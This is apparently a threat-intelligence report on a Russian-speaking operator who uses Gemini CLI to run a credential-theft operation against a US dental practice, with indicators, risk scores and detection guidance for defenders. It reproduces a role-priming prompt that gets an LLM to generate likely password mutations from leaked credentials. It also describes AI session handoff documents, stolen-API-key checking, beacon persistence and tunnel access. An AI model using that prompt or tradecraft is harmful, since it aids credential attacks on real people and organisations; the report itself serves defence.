THE HUNTER’S LEDGER
AI-Augmented Credential Mill · May 25, 2026

Russian Gemini CLI Credential Mill — UTA-2026-012 / US Healthcare Provider Compromise

Contents

Campaign Identifier: Russian-Gemini-Credential-Mill-UTA-2026-012-213.165.51.115
Last Updated: May 25, 2026
Threat Level: CRITICAL

Part of series: This is sub-report 2 of 6 in the parent investigation AI-Agent-Frameworks-MultiActor-2026-05-23. The parent report synthesizes the cross-case findings across eight operator cases; this sub-report provides the operator-specific technical deep-dive for Case 1 — the Russian-native Gemini-CLI-augmented credential mill targeting a US healthcare victim.

Cross-Vendor Naming: This same operator is independently tracked by Trend Micro (TrendAI Research) as “bandcampro” per their 2026-05-22 publication “One Man, One AI, One Fake Persona: Inside the 5-Year Influence and Fraud ‘Patriot Bait’ Campaign.” Cross-identification is DEFINITE via a five-point IOC match (4-of-4 IPs + @americanpatriotus Telegram channel). The Hunters Ledger tracking designation is UTA-2026-012; the Trend Micro vendor catalog handle is bandcampro; both refer to the same operator.


Data source: The open-directory intelligence behind this investigation was surfaced via Hunt.io’s AttackCapture platform, which sponsors this report series. The analysis, findings, and conclusions are The Hunters Ledger’s own.

1. Executive Summary

A single Russian-native operator runs an AI-augmented credential mill with persistent RDP and SSH tunnels into an active HIPAA-regulated US healthcare victim — both tunnels configured and operational at the moment The Hunters Ledger captured the operator’s own filesystem. This is the first public, complete operator-side view of an AI-orchestrated credential mill: the arsenal, the victim, and the operator’s own session-handoff notes to Gemini CLI are all visible at once.

Four artifacts anchor the case, each detailed in its home section: the operator’s source code for an LLM password mutator, with the verbatim Gemini prompt (§4.1, §5.1); three operator-authored Markdown handoff documents that re-prime new Gemini CLI sessions (§4.2, §5.3); an active, still-iterating operator-built unauthenticated C2 (§4.3, §5.2); and a named, active US healthcare compromise captured at the same moment as the operator’s files (§4.6, §9). Trend Micro independently surfaced the same operator via a different path; the two investigations converge on a DEFINITE 5-point IOC match (4-of-4 IPs + the @americanpatriotus Telegram channel — §9.2).

Attribution holds at MODERATE 83% (top of the MODERATE band 70-85%, with Trend Micro Tier-2 corroboration — §9). No named-actor attribution is supportable from current evidence: bandcampro is a Trend Micro vendor tracking handle, not a real-name identification. Per project policy, all credential strings in the report body are defanged to first-8 + last-4 characters; full strings remain in the offline evidence inventory and structured IOC feed.

What Was Found

Each finding below names its home section, where the evidence and confidence label live in full.

  • A multi-component AI-augmented credential mill built and operated by one Russian-native actor — the LLM password mutator, stolen-key validation pipeline, unauthenticated stdlib C2, paid breach-data integration, and Telegram IO bot are dissected in §4.
  • A four-node GCP cloud overlay tied to a victim-named project. Operator-owned project [victim-named GCP project — redacted] (named after the victim — a low-OPSEC tell of dedicated focus), three instances, and one service account linking them (§4.7).
  • A Cloudflare Tunnel topology under operator-owned tralalarkefe.com — operator-owned zone, captured full-admin API token, and six tunnel subdomains (two of them victim-side RDP/SSH) plus one ephemeral bootstrap tunnel (§4.5).
  • Three AI Operator Handoff Documents — operator-authored Markdown addressed to a Gemini CLI consumer, structurally distinct from the GEMINI.md jailbreak-persistence class Trend Micro documented (§4.2, §5.3).
  • An active HIPAA-regulated US healthcare compromise (US dental practice) with full local NTLM hash inventory, OpenDental MySQL root hash, and operator-controlled RDP+SSH tunnels operational at capture time (§4.6). HC3 plus direct practice notification is the Tier-0 disclosure path.

Why This Threat Is Significant

This sub-report extends Trend Micro’s 2026-05-22 macro-level “Patriot Bait” coverage to defender-actionable, artifact-level analysis. Trend Micro framed the operator profile (Russian-speaking, AI-augmented, dual-track financial + influence) and provided the four operator IPs plus the @americanpatriotus channel — the Tier-2 evidence anchoring the cross-identification with UTA-2026-012. On top of that, this investigation contributes six net-new findings, each developed in its home section:

  1. Source-code analysis of the LLM password mutator with the verbatim Gemini prompt — §4.1. The prompt fragment and the operator’s bespoke filenames are the highest-signal single-artifact YARA strings in the campaign.
  2. AI Operator Handoff Documents — the three-exemplar structured-handoff pattern, structurally distinct from GEMINI.md jailbreak persistence. HIGH-confidence novelty claim MAINTAINED (§4.2).
  3. Operator-built unauthenticated stdlib C2 with iterative-development evidence — the /api/v1/get_results client/server mismatch proves in-place development against a live victim; the zero-auth surface is an LE/PSIRT-authorized takedown lever (§4.3).
  4. Named-victim identification with an HC3 disclosure path — the US dental practice, identified from operator filesystem evidence (§4.6).
  5. Captured Cloudflare full-admin API token + tunnel inventory — a single subpoena-grade lever for Cloudflare PSIRT to tear down the whole transport layer; the most actionable disclosure target in the campaign (§4.5).
  6. Victim-named GCP project — a low-OPSEC tell of dedicated focus and a billing-account-associated LE identity anchor (§4.7).

Together — an active HIPAA-regulated healthcare compromise with persistent operator access at capture, three novel TTPs, and a captured Cloudflare token + GitHub PAT + GCP service account identity surface — these give defenders both a clear disclosure path and a state-of-art reference for AI-augmented credential mill tradecraft.

Key Risk Factors

This is an active, actively-iterating, named-victim-confirmed credential mill campaign with co-located political IO. The scores below reflect what the campaign enables and currently has configured — operator-controlled tunnels into a US healthcare victim, multi-instance C2, a frontier-LLM-augmented attack pipeline — not an absolute compromise count.

Risk DimensionScoreRationale
Active Victim Compromise10/10the US dental-practice victim with HIPAA-regulated PHI exposure: full local NTLM hash inventory captured (6 hashes), OpenDental MySQL root password hash captured, two internal subnets compromised, operator-controlled Cloudflare Tunnel RDP+SSH access (`windows_server.tralalarkefe.com` and `gil_dr1.tralalarkefe.com`) configured at the moment of capture. PHI breach timeline is active pending tunnel teardown by Cloudflare PSIRT.
Credential Theft Capability9/10LLM-Personalized Credential Mutation pipeline (`ai_sniper_brute.py`) generates 20 likely current password mutations per target via Gemini 2.5 Flash — a measurable evolution beyond static hashcat rules. Combined with AntiPublic.one paid breach-data subscription (6.56B records per service description), mass WordPress validation rig (~30,000 sites targeted via `nuclei` mega-hunt log of 38.7 MB), and 40+ stolen Gemini API keys (frontier-LLM compute theft), the operator's credential-attack throughput is meaningfully higher than commodity credential-stuffing baseline.
Persistence Capability8/10Cloudflare Tunnel over operator-owned custom domain `tralalarkefe.com` (more persistent than ephemeral `trycloudflare.com` quick-tunnel abuse — domain stability enables post-migration agent reconnection). HKCU Run-key persistence (`WindowsUpdateManager`) on victim hosts plus `%LOCALAPPDATA%\Microsoft\WindowsUpdateManager.ps1` PowerShell beacon. Inferred WMI Event Subscription persistence (`stealth.ps1` fileless pattern, MODERATE confidence).
Detection Evasion7/10Multi-instance C2 deployment (concurrent ports 8081/8090/10101 on `tralalarkefe.com` subdomains) provides resilience against single-port blocking. Base64(UTF-16LE) body encoding on C2 traffic. PowerShell `SecurityProtocol = Tls12` precondition before `Invoke-RestMethod` against `payloads.tralalarkefe.com`. Cloudflare Tunnel fronting provides TLS SNI and IP-based block evasion. `213.165.51.115` VT detection is 1/91 (low visibility — operator workstation, not victim-facing C2 — Cloudflare/GCP handles victim-facing traffic).
Concurrent R&D Tempo9/10122 Gemini CLI session JSONs span multiple operational threads spanning 2026-03-19 to 2026-03-30; `min1.sh` and other operator-built tooling Last Modified during the investigation window. `/api/v1/get_results` endpoint mismatch is direct evidence of in-place iterative development against a live victim. Open-directory exposure on `213.165.51.115` cleaned (totalItems: 0 by 2026-05-23) — operator detected and responded to exposure within days.
Cross-Domain Operator Profile8/10Concurrent financial cybercrime (credential mill against US healthcare) and political IO (`@americanpatriotus` "Quantum Patriot" Telegram disinformation) from the same operator infrastructure. 17,000-subscriber channel active since 2021 (5-year campaign per Trend Micro). AI augmentation via Gemini CLI for political content posting (live session 2026-03-25T18-27 with anti-fraud / JD-Vance themed content captured). Solo-actor cross-domain combination is rare in published reporting — typically attributed to coordinated teams.

Overall Campaign Risk Score: 9.0/10 — CRITICAL. The CRITICAL rating (not HIGH) rests on the active HIPAA-regulated US healthcare compromise with operator-controlled persistent tunnels configured at capture time — the PHI breach timeline runs until Cloudflare PSIRT tears down the tunnels and the practice is notified. Once both happen, residual capability re-assesses to HIGH: the LLM-personalized mutation pipeline, the frontier-LLM key inventory, and the political IO track stay operational regardless of any single victim-side action.

Threat Actor Summary

This is a single-operator case. The actor is tracked as UTA-2026-012 (an internal tracking label used by The Hunters Ledger — see Section 9) and as bandcampro by Trend Micro; both refer to the same operator (DEFINITE 5-point IOC cross-match). Attribution holds at MODERATE 83% (top of the MODERATE band 70-85%, upgraded from parent MODERATE 75% via Trend Micro Tier-2 corroboration). The four-axis profile is Russian-native (DEFINITE), mid-tier selective sophistication (HIGH), active campaign with concurrent R&D (HIGH), and hybrid resource model (HIGH); §9.3 develops each axis and its evidence. Real-world identity remains INSUFFICIENT (<50%) — bandcampro is a vendor tracking handle, not a real-name identification — and the confidence ceiling without subpoena-grade disclosure or a third Tier-2 vendor is HIGH 88-90% (§9.5).

For Technical Teams

Five immediate priorities for SOC analysts, threat hunters, and healthcare-sector defenders:

  1. Block egress to *.tralalarkefe.com and the operator IP inventory. TLS SNI block + DNS block + IP block (213.165.51.115, 34.34.81.129, 34.34.57.141, 35.192.41.201). Egress hunt for User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) + X-Agent-ID header + /api/v1/* URI regardless of domain — the X-Agent-ID header format (HOSTNAME_user, e.g., HOSTNAME_staff) is bespoke to this operator and is the highest-signal single network detection string. Detection rules in Section 10.
  2. Audit HKCU Run-key + %LOCALAPPDATA%\Microsoft\WindowsUpdateManager.ps1. Any presence of either is HIGH-confidence indication of this operator on the host. Cross-check for PowerShell process with SecurityProtocol = Tls12 precondition before Invoke-RestMethod -Uri https://payloads.tralalarkefe.com/*.ps1.
  3. Audit US healthcare and dental practices for [victim AD domain — redacted] AD artifacts and OpenDental installations. This is the primary victim, but the TTP set applies directly to any small US healthcare practice with a similar attack surface — under-resourced security posture, commodity AD environment, and OpenDental or comparable vertical practice-management software.
  4. Hunt for the LLM credential mutation YARA signature. YARA rule covers the "Act as an expert red-team password analyst" + Gemini API import + AI_SNIPER_GOODS.txt / AI_ADMIN_MUTANTS.txt output filename pattern. Endpoint AV/EDR file scan plus git-hook pre-commit scan on internal CI/CD pipelines (in case this tooling spreads).
  5. Hunt for AI Operator Handoff Document YARA signature on developer workstations and server-class hosts. YARA rule covers Markdown files with session-start load directive co-occurring with C2 endpoint references or credential-table indicators. Higher-risk locations: ~/.gemini/, ~/.claude/, ~/.codex/ directories on server-class Linux hosts.

Sections 4–7 carry the technical depth (capabilities, static, dynamic, MITRE ATT&CK). Section 9 covers the cross-vendor naming reconciliation and four-axis operator profile; Section 13 documents the calibration notes and retractions, including the Trend Micro prior-art reframing.


2. Business Risk Assessment

This is not a one-off attack but an active credential mill with a named US healthcare victim, persistent operator-controlled remote access into that victim, and a concurrent political disinformation operation. The risk is twofold: an immediate-victim risk (the healthcare victim’s HIPAA breach timeline runs until tunnel teardown and direct notification) and a broader-class risk for any US small-practice healthcare organization with a similar attack surface.

Understanding the Real-World Impact

The captured arsenal tells defenders what the operator does with a successful compromise. Four operational outcomes are observable in the captured artifacts:

  1. Credential theft scaled by LLM personalization. The ai_sniper_brute.py Gemini-augmented mutator generates 20 likely current password mutations per target using email, domain, and any known prior password as input — a measurable evolution beyond static hashcat rules. Combined with the AntiPublic.one paid breach-data subscription (6.56B records per service description) and the mass WordPress validation rig (38.7 MB nuclei mega-hunt log targeting ~30,000 sites), the operator’s credential-attack throughput is meaningfully higher than commodity credential-stuffing baseline.
  2. Persistent victim-side remote access via Cloudflare Tunnel. Operator-controlled Cloudflare Tunnel subdomains (windows_server.tralalarkefe.com for RDP/WinRM and gil_dr1.tralalarkefe.com for SSH) provide persistent inbound access to the victim hosts without the operator needing to maintain victim-side reverse-shell infrastructure or expose victim hosts directly. The tunnels are still configured at capture time.
  3. Cross-domain political IO from the same infrastructure. The @americanpatriotus “Quantum Patriot” Telegram channel is posted to via Gemini CLI sessions from the same operator filesystem (live session captured 2026-03-25T18-27 with anti-fraud / JD-Vance themed content). Solo-actor cross-domain financial cybercrime + political IO is rare in published reporting — DFRLab and OpenMinds document Russian-operated US-targeted Telegram networks at scale but typically attribute these to coordinated teams.
  4. Frontier-LLM compute theft. The operator inventory-tracks 40+ stolen Gemini keys (plus one OpenAI and one Venice AI key) by MD5 hash, rotating them through check_keys.py / test_gemini_3.1.py / retest_keys.py. It is theft of commercial AI compute — the cost lands on each key-holder’s billing account.

Impact Scenarios

The following scenarios are derived from observed operator capabilities and infrastructure configuration. Each is observable in the captured artifacts — not speculative.

Scenario Likelihood Explanation
HIPAA-regulated PHI exfiltration from the healthcare victim HIGH OpenDental MySQL root password hash captured; OpenDental is a dental-practice management platform that stores PHI (patient health records, clinical notes, treatment plans, payment information). Operator has persistent RDP+SSH access via Cloudflare Tunnel at capture time. Whether PHI has already been exfiltrated requires victim-side forensic analysis; the capability is configured and operational.
Credential reuse compromise of adjacent SaaS / cloud accounts HIGH Full local NTLM hash inventory (6 hashes) plus OpenDental MySQL root hash plus any captured plaintext passwords feed into the LLM-personalized mutation pipeline targeting adjacent accounts (email, cloud productivity, payroll, banking). The Gemini mutator is purpose-built for this lateral-credential-reuse attack pattern.
Operator-initiated ransomware deployment MODERATE Persistent RDP+SSH access plus full credential inventory plus the operator’s evident familiarity with WordPress mass-validation tradecraft are consistent with a ransomware-prep operator profile. No ransomware payload was captured in the open directory; this is a capability assessment, not an observation.
LLM-Personalized Credential Mutation tradecraft diffuses to other operators HIGH The verbatim prompt template in ai_sniper_brute.py is approximately 8 lines of straightforward natural-language instructions. Trend Micro’s independent confirmation of the operational pattern in the same week as this report suggests the technique is already in early diffusion across the Russian-speaking cybercrime ecosystem. Defender preparation for the broader class of LLM-augmented credential attacks is warranted.
@americanpatriotus posts amplify into broader Russian-disinfo Telegram network MODERATE DFRLab and OpenMinds document 52-channel Russian-operated US-targeted Telegram conduit networks; whether @americanpatriotus feeds into those networks is unknown without DFRLab-methodology content analysis. The 17,000-subscriber base (per Trend Micro) and the 5-year operational history (since 2021) place the channel within plausible amplification range.
GCP project [victim-named GCP project — redacted] provides law enforcement attribution anchor HIGH Operator-named GCP project carries the victim’s name; the GCP service account email (geminicli@elated-gizmo-491112-k0...) is billing-account-associated. This is the cleanest subpoena-grade identity path for US law enforcement engagement.
AntiPublic.one paid subscription (JWT sub:31703) provides operator-account identity path MODERATE AntiPublic.one is a commercial breach-data service with operator-bound account records. JWT sub:31703 is the operator’s user identifier. Whether AntiPublic.one will cooperate with disclosure is unknown — the service operates in a grey-area jurisdiction.

Operational Impact Timeline (If Your Organization Is the Victim)

The phases below describe categories of work required to investigate and remediate, in priority order. Per The Hunters Ledger’s third-party intelligence provider perspective, no organization-specific procedures, vendor-product configurations, compliance timelines, or cost estimates are included — those decisions belong to the responding organization’s incident response team and outside counsel.

  • Initial Phase — Confirm operator access posture and contain inbound tunnels. Verify whether cloudflared is running on any internal host (process inventory + executable-path search); verify outbound TLS connections to *.tralalarkefe.com SNI (perimeter TLS logging); audit HKCU Run-key WindowsUpdateManager and %LOCALAPPDATA%\Microsoft\WindowsUpdateManager.ps1 presence; capture any beacon binaries for forensic preservation. Block egress to *.tralalarkefe.com and the operator IP inventory at perimeter; if cloudflared is running internally, kill the process and remove the persistence artifact only after capturing the process command-line and tunnel UUID for forensic preservation.
  • Investigation Phase — Identify scope of credential and data exposure. Hunt for credential dumping evidence (LSASS access, SAM hive access, NTDS.dit access); inventory the AD environment for the captured NTLM hash matches; review OpenDental MySQL access logs if applicable; review egress data volume against the time window the tunnels were configured (this defines the PHI exposure window for any HIPAA notification calculus). Hunt the email environment for any artifacts of ai_sniper_brute.py-class credential reuse against employee personal-email accounts.
  • Notification Phase — Notify the victim class and engage the sector CERT. HIPAA Breach Notification Rule applies if PHI exposure is confirmed; HC3 (HHS Health Sector Cybersecurity Coordination Center) is the appropriate sector-CERT coordination path. Direct practice notification of any patients whose PHI is confirmed exposed is required by HIPAA — the specific timeline, scope, and method are organization-and-counsel decisions outside the scope of this report.
  • Remediation Phase — Rotate the full credential inventory and rebuild affected hosts. Given the captured credential inventory + the LLM-personalized mutation pipeline, defensible remediation is full credential rotation for any captured account (the 6 NTLM hashes + the OpenDental MySQL root + any plaintext captured passwords) plus rotation of credentials accessed from affected hosts (cloud SaaS, banking, payroll, etc., per session-evidence inventory). Endpoint rebuild from known-good media is the defensible position for any host with confirmed operator access.
  • Enhanced Monitoring Phase — Deploy YARA / Sigma / Suricata rules + hunt across environment. A single confirmed operator presence implies probability of broader environment scope. Deploy the rules in Section 10 across the broader environment; hunt for the X-Agent-ID header format, the ai_sniper_brute.py YARA signatures, and the AI Operator Handoff Document YARA signature on developer workstations and server-class hosts.

3. Technical Classification

The arsenal is an operator-built composite: a custom Python-stdlib C2, an LLM-personalized credential mutator, a stolen-key validation pipeline, a mass WordPress validation rig, and a Telegram disinformation bot — a mid-tier AI-augmented cybercrime stack, not a commodity off-the-shelf kit. The tables and comparison below establish how it is structured and how it sits against peer threats.

Classification & Identification

AttributeValueConfidence
Operation TypeAI-augmented credential mill + persistent victim-side remote access + co-located US-targeted political disinformation operationDEFINITE
Primary FamilyCustom-Python-A2A-C2 + Gemini-CLI-Augmented-Credential-Mill (operator-built composite tooling)DEFINITE
Component Inventory(1) Custom Python stdlib HTTP C2 server (`c2_server.py`); (2) PowerShell beacon (`agent_final.ps1`) with inferred Quasar-fork lineage (MODERATE — see §5.4); (3) LLM-personalized credential mutator (`ai_sniper_brute.py`); (4) Stolen LLM API key validator (`check_keys.py` + companion `test_gemini_3.1.py` + `retest_keys.py`); (5) AntiPublic.one paid integration (`mass_wp_mutator.py`); (6) Mass WordPress validation rig (`nuclei` with operator-bespoke `wp_admin_hunter.yaml` template); (7) Telegram disinformation automation (`quantum_patriot.py`)DEFINITE
SophisticationMid-tier with selective sophistication — sophisticated Cloudflare custom-domain Tunnel topology + GCP multi-instance overlay + AI workflow integration; rough OPSEC on plaintext credentials, victim-named GCP project, open-directory exposure; incomplete C2 implementation (in-place iterative dev)HIGH
Threat Actor TypeSolo operator or small criminal team — financially-motivated cybercrime + co-located political IOHIGH
Primary MotivationFinancial primary (credential theft + healthcare data + ransomware-prep capability); influence secondary (`@americanpatriotus` Telegram channel)HIGH
Target ProfileOpportunistic small-business WordPress (~30,000 sites validated via nuclei) + selective US healthcare (the US dental-practice victim — named target with victim-named GCP project signal); US-domestic political audience for the Telegram disinformation side trackDEFINITE
Geographic OriginRussian-native operator (DEFINITE via informal idiom register `Бро` / `братух` / `Погнали` / `тачка` / `Комп Доктора` plus Cyrillic-English technical bilingualism plus in-session credential ledger format `Формат: Имя тачки - Юзер - Пароль`); AEZA bulletproof-adjacent hosting preference; duty-free.cc Russian carding forum contextHIGH
Campaign ComplexityMulti-tool — custom C2 + 3-stage AI integration (key validation + role-prime mutation + handoff documents) + commodity-service procurement (nuclei, AntiPublic.one) + cross-domain disinformation operationHIGH
Cross-Vendor NamingThe Hunters Ledger: UTA-2026-012; Trend Micro (TrendAI Research) "Patriot Bait" 2026-05-22: bandcampro — DEFINITE 5-point IOC cross-matchDEFINITE

Infrastructure Identifiers (Primary Components)

The operator spreads the infrastructure across three providers — AEZA (workstation), GCP (proxy/C2 instances), and Cloudflare (victim-facing tunnels) — so victim-side defenders see only the GCP and Cloudflare legs. The summary below covers that primary infrastructure by IP and domain; the full structured IOC inventory is in the separate IOC feed file (link in Section 8).

Component Identifier ASN / Provider Role
Operator workstation 213.165.51.115 AS210644 — AEZA Group LLC (OFAC-sanctioned 2025-07-01) Operator-side filesystem + open-directory exposure capture point
GCP Ghost Proxy (NL) 34.34.57.141 AS15169 — Google Cloud Platform Operator proxy; all GCP logging explicitly disabled (deliberate OPSEC)
GCP Mailpit (US) 35.192.41.201 AS15169 — Google Cloud Platform Operator mail test instance
GCP Windows C2 (NL) 34.34.81.129 AS15169 — Google Cloud Platform Windows-side C2 instance
Cloudflare custom domain tralalarkefe.com (zone 6d415863...18f47af5) Cloudflare (operator-controlled API token captured) Operator-owned custom domain fronting six C2 / payload / victim-access tunnel subdomains
C2 API subdomain c2.tralalarkefe.com Cloudflare Tunnel /api/v1/* endpoint family
Payload distribution payloads.tralalarkefe.com Cloudflare Tunnel .ps1 payload download (e.g., run_bg.ps1)
Victim RDP/WinRM access windows_server.tralalarkefe.com Cloudflare Tunnel Operator-controlled persistent access into the victim Windows hosts
Victim SSH access gil_dr1.tralalarkefe.com Cloudflare Tunnel Operator-controlled persistent SSH access
Ephemeral bootstrap tenant-upcoming-great-descending.trycloudflare.com Cloudflare quick-tunnel One-time payload bundle delivery; cannot be pre-blocked at domain level
Paid breach-data API antipublic.one (external commercial service) Operator-integrated paid subscription (JWT jti:44298 / sub:31703)

Why This Is Distinct From Commodity Cybercrime Tooling

Three structural features mark this operator’s arsenal as distinct from the commodity credential-stuffing baseline:

  • Operator-authored components. The C2 server, the LLM credential mutator, the LLM key validator, the mass WordPress validation harness, and the Telegram posting automation are all operator-built Python — not commodity off-the-shelf tooling. Hashcat-rules + commodity stuffer baselines do not include LLM personalization; the ai_sniper_brute.py source is a measurable evolution beyond that baseline.
  • AI-augmented orchestration. The three AI Operator Handoff Documents represent a state-of-art tradecraft pattern where the operator uses Gemini CLI as an active operational assistant, with structured handoff documents that re-prime new AI sessions with prior session state. This is a level above the documented GEMINI.md jailbreak-persistence pattern (which is content-level persistence inside a single file the AI auto-loads) — the operator’s three documents are operational-state-bearing handoffs with explicit AI-to-AI headers.
  • Persistent victim-side remote access via legitimate-provider tunneling. Cloudflare Tunnel over operator-owned custom domain provides persistence beyond the documented trycloudflare.com quick-tunnel abuse pattern (Proofpoint 2024-08-01 RAT coverage). The custom-domain Tunnel survives quick-tunnel teardown and enables post-migration agent reconnection.

The combination of these three features defines the operator’s class: AI-augmented mid-tier solo cybercrime operator — a class that Trend Micro’s “One Man, One AI, One Fake Persona” framing captures, and that this report further documents at artifact level.


4. Capabilities Deep-Dive

Every link in the operator’s chain — credential acquisition, LLM personalization, victim-side persistent access, and co-located political IO — is captured at source-code level, and three of those links (the LLM mutator, the AI handoff documents, and the unauthenticated C2) are net-new public findings. The arsenal spans nine functional layers; the subsections below walk each one with the evidence behind it.

Executive Impact Summary

Business Risk: CRITICAL. Active HIPAA-regulated US healthcare compromise (the healthcare victim) with operator-controlled Cloudflare Tunnel RDP+SSH configured at capture time. LLM-Personalized Credential Mutation pipeline is a measurable evolution beyond static hashcat-rules baseline and will diffuse to other operators.

Detection Difficulty: MEDIUM. Operator-bespoke strings (X-Agent-ID header, A2A C2 MULTI-AGENT CONSOLE banner, [+++ AI SUPER GOOD +++] success marker, the verbatim role-prime prompt) provide high-signal single-artifact detection points. Cloudflare Tunnel transport provides TLS SNI evasion vs. IP blocking; custom-domain tralalarkefe.com provides domain stability beyond ephemeral trycloudflare.com abuse.

Remediation Complexity: HIGH for confirmed victims. Persistent Cloudflare Tunnel access requires both perimeter blocks (egress to *.tralalarkefe.com, IP blocks) AND endpoint-side cloudflared process termination AND credential rotation across the full captured credential inventory. Full host rebuild defensible for any host with confirmed operator access.

Key Takeaway: This is the first publicly-documented complete operator-side AI-orchestrated credential mill with operator-authored structured handoff documents. The novelty is not Gemini CLI itself — it’s the operator’s structured, persistent, AI-to-AI documentation pattern for re-priming new sessions with operational state.

Capabilities Matrix

Capability Impact Detection Difficulty Confidence
LLM-Personalized Credential Mutation (ai_sniper_brute.py) HIGH — measurable throughput evolution beyond commodity stuffing LOW — verbatim role-prime + bespoke output filename pattern HIGH
AI Operator Handoff Documents (3 exemplars) HIGH — state-of-art AI tradecraft signature MEDIUM — generic Markdown vs. operational-content co-occurrence HIGH
Operator-built unauthenticated Python-stdlib C2 (c2_server.py) HIGH — unauthenticated-takedown surface (LE/PSIRT-authorized); iterative dev evidence LOW — operator-bespoke endpoint family + banner string DEFINITE
Stolen LLM API key validation pipeline (check_keys.py + companions) MEDIUM — frontier-LLM compute theft MEDIUM — high key-diversity from single source IP DEFINITE
Cloudflare Tunnel topology + persistent victim access CRITICAL — active victim PHI exposure MEDIUM — TLS SNI block + DNS block + IP block DEFINITE
the healthcare-victim compromise (HIPAA) CRITICAL — active HIPAA breach timeline LOW — operator-owned tunnel SNI is unambiguous on victim egress DEFINITE
Multi-platform operator infrastructure (AEZA + GCP + Cloudflare) HIGH — sovereignty-diversified C2 relay MEDIUM — GCP attribution requires service account email match DEFINITE
Co-located Telegram disinfo operation (@americanpatriotus) HIGH — cross-domain operator signal LOW — Telegram channel + Quantum Patriot branding DEFINITE
Commodity service procurement (AntiPublic.one + nuclei + stealer logs) MEDIUM — commercial-tier operator affiliation MEDIUM — egress to antipublic.one/api/v2/search DEFINITE

4.1 LLM-Personalized Credential Mutation Pipeline (ai_sniper_brute.py)

Analyst note: This subsection documents the operator’s source code for the per-target password mutation script that uses Google’s Gemini 2.5 Flash to generate 20 likely current passwords per target from email + domain + a known prior password. The detection logic is in the verbatim role-priming prompt: the phrase "Act as an expert red-team password analyst" combined with Gemini API import and the operator’s bespoke output filename AI_SNIPER_GOODS.txt has negligible legitimate-software overlap and is the highest-signal single-artifact YARA detection in the campaign. This is the first source-code analysis with verbatim prompt reproduction of this technique class.

Confidence: DEFINITE (source code captured from operator open directory)

Technique reframing (per Section 13 calibration): Trend Micro independently confirmed this technique is operational (“Patriot Bait” 2026-05-22). The Hunters Ledger contribution is reframed from “first ever documentation” to first source-code analysis with verbatim prompt reproduction. The novelty claim is retained at HIGH confidence.

Source-code structure (ai_sniper_brute.py, Python):

The script imports Google’s google.generativeai Python client, initializes a Gemini 2.5 Flash model with the operator’s stolen API key, reads a per-target input file (ULTRA_GOLD_TARGETS.txt — operator-self-named), invokes Gemini per target with the role-priming prompt, parses the model’s response into 20 candidate passwords per target, attempts the candidates against the target service, writes successful credential pairs to AI_SNIPER_GOODS.txt (operator-self-named) with the success-message format [+++ AI SUPER GOOD +++], and back-pressures Gemini API calls to avoid rate limit (# Не душим API Gemini — Russian operator comment, “Don’t strangle the Gemini API”).

The verbatim role-priming prompt (reconstructed from source):

Act as an expert red-team password analyst.

You are given a target with:
  Email: {email}
  Domain: {domain}
  Most Recent Password from dump: {known_password}

Your task: generate exactly 20 likely current mutations
of this password that a real user would set today.

Output as a numbered list, one mutation per line.

The exact phrasing varies slightly across operator iterations; the structure — role assignment + per-target context block + explicit 20-mutation count instruction — is the durable signature. The Russian-language operator comments embedded in the script confirm operator-authored, not commodity downloaded:

  • # Не душим API Gemini (“Don’t strangle the Gemini API”)
  • # Медленно, в 3 потока, чтобы не банили прокси и API (“Slowly, in 3 threads, so they don’t ban the proxies and API”)
  • # Инициализация ИИ (Используем Flash для скорости) (“AI initialization (Using Flash for speed)”)

Why this matters: Static password mangling rules (hashcat best64.rule, OneRuleToRuleThemAll) generate ~64 mutations per password using deterministic transformations (l33t-speak, leading/trailing digits, capitalization variants). The LLM-personalized approach generates per-target mutations that incorporate context the rules cannot — the user’s likely birth year inferred from their email, their company name, common-substitution patterns specific to a given target’s domain. Empirical effectiveness against targeted users is plausibly meaningfully higher than rule-based mangling; the operator’s continued investment in this script across multiple iterations is observational evidence of effectiveness in the operator’s own assessment.

Detection strategy: YARA rule covers the combination of Gemini API import + verbatim role-prime phrase fragment + AI_SNIPER / AI_ADMIN_MUTANTS output filename convention + ULTRA_GOLD_TARGETS input filename + [+++ AI SUPER GOOD +++] success format. Detection rules in Section 10; full YARA rule body in the linked detection file.

Companion artifact: AI_ADMIN_MUTANTS.txt — operator-self-named output file for an admin-account targeted variant of ai_sniper_brute.py. The presence of both AI_SNIPER_GOODS.txt and AI_ADMIN_MUTANTS.txt operator-self-named filenames in the open directory is independent corroboration that this tooling is operator-built, not commodity downloaded.

4.2 AI Operator Handoff Documents (3-Exemplar Structured-Handoff Pattern)

Analyst note: This subsection documents a novel artifact class — Markdown documents authored by the operator specifically to prime new Google Gemini CLI sessions with prior session operational state. Three exemplars on disk: C2_MIGRATION_GUIDE.md, C2_INFRA_TRANSFER.md, and DEPLOYED_TOOLS.md. The architecture is distinct from the GEMINI.md jailbreak-persistence file that Trend Micro documented in their 2026-05-22 publication — those files achieve persistence by being auto-loaded by the AI on session start; AI Operator Handoff Documents are operator-loaded reference documents that carry operational session state. This is a tradecraft pattern, not a single-file persistence trick.

Confidence: HIGH (three exemplars on disk; novelty claim MAINTAINED per Section 13)

Pattern structure: Each document follows a similar form:

  • Title indicating purpose (C2 Infrastructure Transfer, Deployed Tools Inventory, C2 Migration Guide)
  • Explicit AI-to-AI header indicating intended consumer (**To:** Gemini CLI / **From:** Gemini CLI on C2_INFRA_TRANSFER.md)
  • Session-start load directive (When starting a new session, refer to this file on DEPLOYED_TOOLS.md)
  • Operational content block (C2 endpoint topology, tool path inventory, credential references)
  • Optional next-steps section for the AI consumer

Exemplar 1: C2_INFRA_TRANSFER.md — The header carries the literal **To:** Gemini CLI and **From:** Gemini CLI strings. The body documents the operator’s current C2 topology (the tralalarkefe.com tunnel inventory, the GCP instance roles, the AntiPublic.one integration endpoint). The intended use case is: operator opens a new Gemini CLI session, references this file in the first turn, and the AI is primed with full C2 state without the operator needing to re-explain context.

Exemplar 2: DEPLOYED_TOOLS.md — The session-start load directive When starting a new session, refer to this file is explicit. The body inventories the operator-built tooling (ai_sniper_brute.py, check_keys.py, c2_server.py, etc.) with file paths, purpose summaries, and operational notes (which targets each tool was last run against, which Gemini API key was last used).

Exemplar 3: C2_MIGRATION_GUIDE.md — The body documents a planned C2 transport migration. The intended use case is forward-looking: operator wants to migrate transport, drafts the plan in Markdown with AI consultation, then refers to this document in future sessions to maintain plan continuity.

